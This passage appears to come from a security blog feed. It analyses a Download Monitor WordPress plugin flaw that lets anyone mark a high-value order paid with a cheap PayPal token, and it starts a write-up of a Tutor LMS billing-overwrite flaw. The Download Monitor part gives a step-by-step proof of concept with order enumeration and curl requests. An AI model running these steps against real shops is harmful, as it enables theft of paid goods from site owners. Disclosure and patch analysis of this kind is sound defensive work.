&lt;p&gt;&lt;strong&gt;2. Gateway setup — &lt;code&gt;src/Shop/Checkout/PaymentGateway/Manager.php&lt;/code&gt; (line 62–69)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function setup_gateways() {
    $gateways = $this-&amp;gt;get_enabled_gateways();
    foreach ( $gateways as $gateway ) {
        $gateway-&amp;gt;setup_gateway();   // calls PayPalGateway::setup_gateway()
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. Listener registration — &lt;code&gt;src/Shop/Checkout/PaymentGateway/PayPal/PayPalGateway.php&lt;/code&gt; (line 74–80)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function setup_gateway() {
    $execute_payment_listener = new ExecutePaymentListener( $this );
    $execute_payment_listener-&amp;gt;run();   // runs on every page load, no auth gate
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4. Trigger check — &lt;code&gt;src/Shop/Checkout/PaymentGateway/PayPal/ExecutePaymentListener.php&lt;/code&gt; (lines 22–26)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function run() {
    if ( isset( $_GET[&apos;paypal_action&apos;] ) &amp;amp;&amp;amp; &apos;execute_payment&apos; === $_GET[&apos;paypal_action&apos;] ) {
        $this-&amp;gt;executePayment();   // triggered by any visitor sending ?paypal_action=execute_payment
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;5. Vulnerable function — &lt;code&gt;ExecutePaymentListener::executePayment()&lt;/code&gt; (lines 31–121)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private function executePayment() {

    $order_id   = isset( $_GET[&apos;order_id&apos;] ) ? absint( $_GET[&apos;order_id&apos;] ) : 0;
    $order_hash = isset( $_GET[&apos;order_hash&apos;] ) ? sanitize_text_field( wp_unslash($_GET[&apos;order_hash&apos;]) ) : &apos;&apos;;

    if ( empty( $order_id ) || empty( $order_hash ) ) {
        $this-&amp;gt;execute_failed( $order_id, $order_hash );
        // BUG 1: Missing `return;` — execution continues even after this failure branch
    }

    $order = $order_repo-&amp;gt;retrieve_single( $order_id );
    // BUG 2: `$order_hash` is collected but NEVER validated against $order-&amp;gt;get_hash()
    // Any order_id is accepted; order_hash is completely ignored

    $token = &apos;&apos;;
    if ( isset( $_GET[&apos;token&apos;] ) ) {
        $token = sanitize_text_field( wp_unslash( $_GET[&apos;token&apos;] ) );
    }
    // BUG 3: $token is never verified to belong to $order_id
    // An attacker can supply ANY valid PayPal token (e.g., from a $0.01 transaction)

    $capture = new CaptureOrder();
    $capture-&amp;gt;set_client( $this-&amp;gt;gateway-&amp;gt;get_api_context() )
            -&amp;gt;set_order_id( $token );   // captures the ATTACKER&apos;s cheap token

    $response = $capture-&amp;gt;captureOrder();

    if ( $response-&amp;gt;getStatus() !== &quot;COMPLETED&quot; ) {
        throw new Exception( ... );
    }

    // BUG 4: The foreach below updates transactions only if the cheap token matches
    // one of the target order&apos;s transactions — it never will (different order)
    $transactions = $order-&amp;gt;get_transactions();
    foreach ( $transactions as $transaction ) {
        if ( $transaction-&amp;gt;get_processor_transaction_id() == $response-&amp;gt;getId() ) {
            // This branch is NEVER reached because attacker&apos;s token ≠ target order&apos;s transactions
            ...
        }
    }

    // BUG 5: `set_completed()` is called UNCONDITIONALLY — even when no transaction matched
    $order-&amp;gt;set_completed();   // HIGH-VALUE ORDER COMPLETED WITH $0.01 PAYMENT

    wp_redirect( $this-&amp;gt;gateway-&amp;gt;get_success_url( $order-&amp;gt;get_id(), $order-&amp;gt;get_hash() ), 302 );
    exit;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The root cause is a &lt;strong&gt;complete absence of binding between the PayPal &lt;code&gt;token&lt;/code&gt; and the local &lt;code&gt;order_id&lt;/code&gt;&lt;/strong&gt;. The function:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Accepts any &lt;code&gt;order_id&lt;/code&gt; from &lt;code&gt;$_GET&lt;/code&gt; — no authentication required to target any order&lt;/li&gt;
&lt;li&gt;Collects &lt;code&gt;order_hash&lt;/code&gt; but &lt;strong&gt;never validates it&lt;/strong&gt; against the retrieved order&apos;s actual hash&lt;/li&gt;
&lt;li&gt;Accepts any &lt;code&gt;token&lt;/code&gt; from &lt;code&gt;$_GET&lt;/code&gt; and passes it directly to PayPal&apos;s Capture API — no check that the token belongs to the targeted order&lt;/li&gt;
&lt;li&gt;Calls &lt;code&gt;$order-&amp;gt;set_completed()&lt;/code&gt; &lt;strong&gt;unconditionally&lt;/strong&gt; after a successful PayPal capture, even when no matching transaction was found in the targeted order&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The intended design appears to be that a legitimate user returning from PayPal would have both their &lt;code&gt;order_id&lt;/code&gt; in the URL and a &lt;code&gt;token&lt;/code&gt; that PayPal appended to the return URL — but the plugin never enforced that these two came from the same transaction.&lt;/p&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;order_hash&lt;/code&gt; field looks like a security control (a secret per-order identifier), but it is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Collected&lt;/strong&gt; (&lt;code&gt;$_GET[&apos;order_hash&apos;]&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Passed along&lt;/strong&gt; to &lt;code&gt;execute_failed()&lt;/code&gt; and &lt;code&gt;get_success_url()&lt;/code&gt; for redirects&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Never actually compared&lt;/strong&gt; to &lt;code&gt;$order-&amp;gt;get_hash()&lt;/code&gt; to authenticate the request&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This gave a false impression of security — the hash was present in the URL structure but provided zero access control in the &lt;code&gt;executePayment()&lt;/code&gt; path.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker can:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Pay the minimum possible amount for any cheap item in the store (even $0.01)&lt;/li&gt;
&lt;li&gt;Obtain a valid PayPal capture token from that legitimate $0.01 purchase&lt;/li&gt;
&lt;li&gt;Use that token to complete &lt;strong&gt;any other pending order&lt;/strong&gt; in the system, regardless of its price&lt;/li&gt;
&lt;li&gt;Download or access digital goods from the high-value completed order at negligible cost&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;download-monitor&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 5.1.7&lt;/li&gt;
&lt;li&gt;The shop feature enabled and PayPal gateway configured&lt;/li&gt;
&lt;li&gt;At least one pending (unpaid) high-value order exists in the system (order ID known or guessable — order IDs are sequential WordPress post IDs)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Create a low-cost order and initiate PayPal checkout&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Place an order for the cheapest available product (e.g., $0.01) and proceed to PayPal checkout. The plugin generates a return URL in this form:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://TARGET-SITE.com/checkout/complete/?order_id=LOW_ID&amp;amp;order_hash=LOW_HASH&amp;amp;paypal_action=execute_payment
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PayPal will append a &lt;code&gt;token&lt;/code&gt; parameter to this URL after approval:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://TARGET-SITE.com/checkout/complete/?order_id=LOW_ID&amp;amp;order_hash=LOW_HASH&amp;amp;paypal_action=execute_payment&amp;amp;token=PAYPAL_TOKEN_FROM_CHEAP_ORDER
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Capture the value of &lt;code&gt;token&lt;/code&gt; (e.g., &lt;code&gt;9XG12345AB678901C&lt;/code&gt;) &lt;strong&gt;before&lt;/strong&gt; the redirect is followed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Identify a target high-value pending order&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Order IDs are standard WordPress post IDs (sequential integers). Enumerate pending orders by trying IDs around known order IDs. A pending order is one that has been placed but not yet paid.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Example: target order ID is 42 — verify it&apos;s pending by observing the checkout page behavior
curl -s &quot;https://TARGET-SITE.com/checkout/?order_id=42&amp;amp;order_hash=anything&quot; | grep -i &quot;pending\|order&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Trigger order completion with the stolen token&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Send a GET request with the high-value &lt;code&gt;order_id&lt;/code&gt; and your valid cheap &lt;code&gt;token&lt;/code&gt;. The &lt;code&gt;order_hash&lt;/code&gt; can be anything (it is never validated):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -v &quot;https://TARGET-SITE.com/checkout/complete/?paypal_action=execute_payment&amp;amp;order_id=42&amp;amp;order_hash=ANYSTRING&amp;amp;token=9XG12345AB678901C&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expected response: HTTP 302 redirect to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://TARGET-SITE.com/checkout/complete/?order_id=42&amp;amp;order_hash=&amp;lt;REAL_HASH_OF_ORDER_42&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This confirms the order was completed — the real &lt;code&gt;order_hash&lt;/code&gt; is now exposed in the success redirect URL.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Access the download&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Follow the success redirect. The plugin&apos;s access control now grants access to the digital goods associated with order #42, since the order status is &lt;code&gt;completed&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -L &quot;https://TARGET-SITE.com/checkout/complete/?order_id=42&amp;amp;order_hash=&amp;lt;REAL_HASH&amp;gt;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The download link(s) for the high-value product will be rendered on the order completion page.&lt;/p&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The attacker spends the minimum product price (e.g., $0.01) and obtains access to any pending high-value digital goods order in the system — effectively stealing the paid content.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;After running Step 3, check the WordPress admin panel:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Orders&lt;/strong&gt; → the target order (e.g., #42) should now show status &lt;code&gt;Completed&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The attacker&apos;s cheap PayPal token will be associated with the capture, but the target order&apos;s original transaction remains in a pending state (transaction amounts will mismatch)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;src/Shop/Checkout/PaymentGateway/PayPal/ExecutePaymentListener.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Added &lt;code&gt;order_hash&lt;/code&gt; validation, token-to-order binding, null capture guard, &lt;code&gt;$transaction_updated&lt;/code&gt; guard, timing-safe &lt;code&gt;hash_equals()&lt;/code&gt; comparisons&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;src/Shop/Checkout/PaymentGateway/PayPal/CaptureOrder.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Added &lt;code&gt;has_response()&lt;/code&gt; method; capture failure now returns &lt;code&gt;null&lt;/code&gt; instead of silently swallowing the exception&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The patch introduces &lt;strong&gt;five layered fixes&lt;/strong&gt; in &lt;code&gt;ExecutePaymentListener::executePayment()&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 1: Added missing &lt;code&gt;return&lt;/code&gt; after early failure&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Before (buggy — execution continued after failure):
if ( empty( $order_id ) || empty( $order_hash ) ) {
    $this-&amp;gt;execute_failed( $order_id, $order_hash );
}

// After (correct):
if ( empty( $order_id ) || empty( $order_hash ) ) {
    $this-&amp;gt;execute_failed( $order_id, $order_hash );
    return;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Fix 2: &lt;code&gt;order_hash&lt;/code&gt; is now validated against the retrieved order (timing-safe)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Added after order retrieval:
if ( ! hash_equals( (string) $order-&amp;gt;get_hash(), (string) $order_hash ) ) {
    $this-&amp;gt;execute_failed( $order_id, $order_hash );
    return;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the core IDOR fix — the &lt;code&gt;order_hash&lt;/code&gt; (a secret per-order token) now actually acts as an authentication credential.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 3: Token must belong to the order before capture is attempted&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// New pre-capture validation:
$token_belongs_to_order = false;
foreach ( $transactions as $transaction ) {
    if ( hash_equals( (string) $transaction-&amp;gt;get_processor_transaction_id(), (string) $token ) ) {
        $token_belongs_to_order = true;
        break;
    }
}
if ( ! $token_belongs_to_order ) {
    $this-&amp;gt;execute_failed( $order_id, $order_hash );
    return;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This prevents an attacker from supplying a token from a different order/transaction.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 4: Null-safe capture result handling&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$capture_result = $capture-&amp;gt;captureOrder();
if ( null === $capture_result || ! $capture_result-&amp;gt;has_response() ) {
    $this-&amp;gt;execute_failed( $order-&amp;gt;get_id(), $order-&amp;gt;get_hash() );
    return;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Fix 5: Order completion now requires a matched &lt;code&gt;$transaction_updated&lt;/code&gt; flag&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$transaction_updated = false;
foreach ( $transactions as $transaction ) {
    if ( hash_equals( (string) $transaction-&amp;gt;get_processor_transaction_id(), (string) $token ) ) {
        // ... update transaction ...
        $transaction_updated = true;
        break;
    }
}

// Only complete the order if we actually updated a matching transaction:
if ( ! $transaction_updated ) {
    $this-&amp;gt;execute_failed( $order-&amp;gt;get_id(), $order-&amp;gt;get_hash() );
    return;
}

$order-&amp;gt;set_completed();   // Now only reached after full validation chain
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The fix is complete. There are no residual risks — all five attack vectors are closed independently, and each forms a defense-in-depth layer.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;@@ -38,6 +38,7 @@ class ExecutePaymentListener {
 
 		if ( empty( $order_id ) || empty( $order_hash ) ) {
 			$this-&amp;gt;execute_failed( $order_id, $order_hash );
+			return;
 		}
 
+		// Verify order_hash against the retrieved order (timing-safe) to prevent IDOR.
+		if ( ! hash_equals( (string) $order-&amp;gt;get_hash(), (string) $order_hash ) ) {
+			$this-&amp;gt;execute_failed( $order_id, $order_hash );
+			return;
+		}
+
+		if ( empty( $token ) ) {
+			$this-&amp;gt;execute_failed( $order_id, $order_hash );
+			return;
+		}
+
+		// Bind token to this order: token must match one of this order&apos;s transactions.
+		$token_belongs_to_order = false;
+		foreach ( $transactions as $transaction ) {
+			if ( hash_equals( (string) $transaction-&amp;gt;get_processor_transaction_id(), (string) $token ) ) {
+				$token_belongs_to_order = true;
+				break;
+			}
+		}
+		if ( ! $token_belongs_to_order ) {
+			$this-&amp;gt;execute_failed( $order_id, $order_hash );
+			return;
+		}
+
-		$response = $capture-&amp;gt;captureOrder();
+		$capture_result = $capture-&amp;gt;captureOrder();
+		if ( null === $capture_result || ! $capture_result-&amp;gt;has_response() ) {
+			$this-&amp;gt;execute_failed( $order-&amp;gt;get_id(), $order-&amp;gt;get_hash() );
+			return;
+		}
+		$response = $capture_result;
+
-			if ( $transaction-&amp;gt;get_processor_transaction_id() == $response-&amp;gt;getId() ) {
+			if ( hash_equals( (string) $transaction-&amp;gt;get_processor_transaction_id(), (string) $token ) ) {
 				...
 				$order-&amp;gt;set_transactions( $transactions );
+				$transaction_updated = true;
 				break;
 			}
+		}
+
+		if ( ! $transaction_updated ) {
+			$this-&amp;gt;execute_failed( $order-&amp;gt;get_id(), $order-&amp;gt;get_hash() );
+			return;
 		}
 
 		$order-&amp;gt;set_completed();
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;March 29, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 30, 2026&lt;/td&gt;
&lt;td&gt;Advisory last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Patched version 5.1.8 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;download-monitor&lt;/code&gt; plugin to version &lt;strong&gt;5.1.8&lt;/strong&gt; or later.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/download-monitor/download-monitor-517-insecure-direct-object-reference-to-unauthenticated-arbitrary-order-completion-via-token-and-order-id&quot;&gt;Wordfence Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3470119/download-monitor&quot;&gt;WordPress Trac Changeset 3470119&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3124&quot;&gt;CVE-2026-3124 at MITRE&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-11T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-3360: Tutor LMS Unauthenticated Billing Overwrite (CVSS 7.5)</title><link>https://hurayraiit.com/blog/cve-2026-3360-tutor-lms-unauthenticated-billing-overwrite/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-3360-tutor-lms-unauthenticated-billing-overwrite/</guid><description>CVE-2026-3360 is a CVSS 7.5 High missing authorization vulnerability in Tutor LMS &lt;= 3.9.7 — unauthenticated attackers can overwrite any user&apos;s billing profile via a crafted POST request.</description><pubDate>Fri, 10 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-3360&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.5 High&lt;/strong&gt; missing authorization vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/tutor/&quot;&gt;Tutor LMS&lt;/a&gt; WordPress plugin. It allows any unauthenticated attacker to overwrite the billing profile (name, email, phone, address) of any user who holds an incomplete manual payment order — with nothing more than a guessed order ID and a nonce scraped from any public page.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Tutor LMS – eLearning and online course solution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;tutor&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3360&quot;&gt;CVE-2026-3360&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.5 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Missing Authorization — Unauthenticated Arbitrary Billing Profile Overwrite (IDOR)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/tutor.3.9.7.zip&quot;&gt;&amp;lt;= 3.9.7&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/tutor.3.9.8.zip&quot;&gt;3.9.8&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 9, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/supakiad-s&quot;&gt;Supakiad S. (m3ez) — E-CQURITY (Thailand)&lt;/a&gt; &lt;a href=&quot;https://www.linkedin.com/in/supakiad-satuwan/&quot;&gt;LinkedIN&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tutor/tutor-lms-397-missing-authorization-to-unauthenticated-arbitrary-billing-profile-overwrite-via-order-id-parameter&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) in all versions up to, and including, 3.9.7. This is due to missing authentication and authorization checks in the &lt;code&gt;pay_incomplete_order()&lt;/code&gt; function. The function accepts an attacker-controlled &lt;code&gt;order_id&lt;/code&gt; parameter and uses it to look up order data, then writes billing fields to the order owner&apos;s profile (&lt;code&gt;$order_data-&amp;gt;user_id&lt;/code&gt;) without verifying the requester&apos;s identity or ownership.&lt;/p&gt;
&lt;p&gt;Because the Tutor nonce (&lt;code&gt;_tutor_nonce&lt;/code&gt;) is exposed on public frontend pages, this makes it possible for unauthenticated attackers to overwrite the billing profile — first name, last name, email, phone, address, country, state, city, and zip code — of any user who has an incomplete manual order, by sending a crafted POST request with a guessed or enumerated &lt;code&gt;order_id&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;p&gt;The attack flows through four components: the &lt;code&gt;init_action&lt;/code&gt; dispatcher, the action hook registration, the unguarded &lt;code&gt;pay_incomplete_order()&lt;/code&gt; handler, and the publicly leaked nonce.&lt;/p&gt;
&lt;h3&gt;1. Hook Dispatch — &lt;code&gt;classes/Tutor.php&lt;/code&gt;, line 563&lt;/h3&gt;
&lt;p&gt;On WordPress &lt;code&gt;init&lt;/code&gt;, the plugin reads a &lt;code&gt;tutor_action&lt;/code&gt; request parameter and fires it as a dynamic action hook with no authentication precondition:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// classes/Tutor.php:658-662
public function init_action() {
    $tutor_action = Input::sanitize_request_data( &apos;tutor_action&apos; );
    if ( &apos;&apos; !== $tutor_action ) {
        do_action( &apos;tutor_action_&apos; . $tutor_action );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any HTTP request to any WordPress URL with &lt;code&gt;tutor_action=tutor_pay_incomplete_order&lt;/code&gt; — authenticated or not — will trigger the registered handler. There is no login check at this dispatch layer.&lt;/p&gt;
&lt;h3&gt;2. Handler Registration — &lt;code&gt;ecommerce/CheckoutController.php&lt;/code&gt;, line 109&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// ecommerce/CheckoutController.php:107-113
if ( $register_hooks ) {
    add_action( &apos;tutor_action_tutor_pay_now&apos;, array( $this, &apos;pay_now&apos; ) );
    add_action( &apos;tutor_action_tutor_pay_incomplete_order&apos;, array( $this, &apos;pay_incomplete_order&apos; ) );
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;pay_incomplete_order&lt;/code&gt; method is registered to handle the above action with no authentication precondition.&lt;/p&gt;
&lt;h3&gt;3. The Vulnerable Function — &lt;code&gt;ecommerce/CheckoutController.php&lt;/code&gt;, lines 1059–1120&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public function pay_incomplete_order() {
    $order_id       = Input::post( &apos;order_id&apos;, 0, Input::TYPE_INT );
    $payment_method = Input::post( &apos;payment_method&apos;, &apos;&apos; );
    $request        = Input::sanitize_array( $_POST );

    $billing_model           = new BillingModel();
    $billing_fillable_fields = array_intersect_key( $request, array_flip( $billing_model-&amp;gt;get_fillable_fields() ) );

    if ( ! tutor_utils()-&amp;gt;is_nonce_verified() ) {
        tutor_utils()-&amp;gt;redirect_to( ... );
        exit;
    }
    if ( $order_id ) {
        $order_model = new OrderModel();
        $order_data  = $order_model-&amp;gt;get_order_by_id( $order_id );
        if ( $order_data ) {   // ← NO ownership check
            try {
                if ( ! empty( $payment_method ) &amp;amp;&amp;amp; OrderModel::PAYMENT_METHOD_MANUAL === $order_data-&amp;gt;payment_method ) {
                    $billing_info = $billing_model-&amp;gt;get_info( $order_data-&amp;gt;user_id );
                    if ( $billing_info ) {
                        // ← Overwrites billing data for $order_data-&amp;gt;user_id — the ORDER OWNER, not the requester
                        $update_billing = $billing_model-&amp;gt;update(
                            $billing_fillable_fields,
                            array( &apos;user_id&apos; =&amp;gt; $order_data-&amp;gt;user_id )
                        );
                    } else {
                        $billing_fillable_fields[&apos;user_id&apos;] = $order_data-&amp;gt;user_id;
                        $save = $billing_model-&amp;gt;insert( $billing_fillable_fields );
                    }
                    ...
                }
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The function resolves the target user (&lt;code&gt;$order_data-&amp;gt;user_id&lt;/code&gt;) from the attacker-supplied &lt;code&gt;order_id&lt;/code&gt; and writes the attacker-supplied billing fields to that user&apos;s record without ever checking who is making the request.&lt;/p&gt;
&lt;h3&gt;4. Fillable Billing Fields — &lt;code&gt;models/BillingModel.php&lt;/code&gt;, lines 25–35&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;get_fillable_fields()&lt;/code&gt; method defines nine writable columns in &lt;code&gt;wp_tutor_customers&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private $fillable_fields = array(
    &apos;billing_first_name&apos;,
    &apos;billing_last_name&apos;,
    &apos;billing_email&apos;,
    &apos;billing_phone&apos;,
    &apos;billing_zip_code&apos;,
    &apos;billing_address&apos;,
    &apos;billing_country&apos;,
    &apos;billing_state&apos;,
    &apos;billing_city&apos;,
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All nine fields are overwritable in a single request.&lt;/p&gt;
&lt;h3&gt;5. Nonce Exposure — &lt;code&gt;classes/Assets.php&lt;/code&gt;, lines 165–166&lt;/h3&gt;
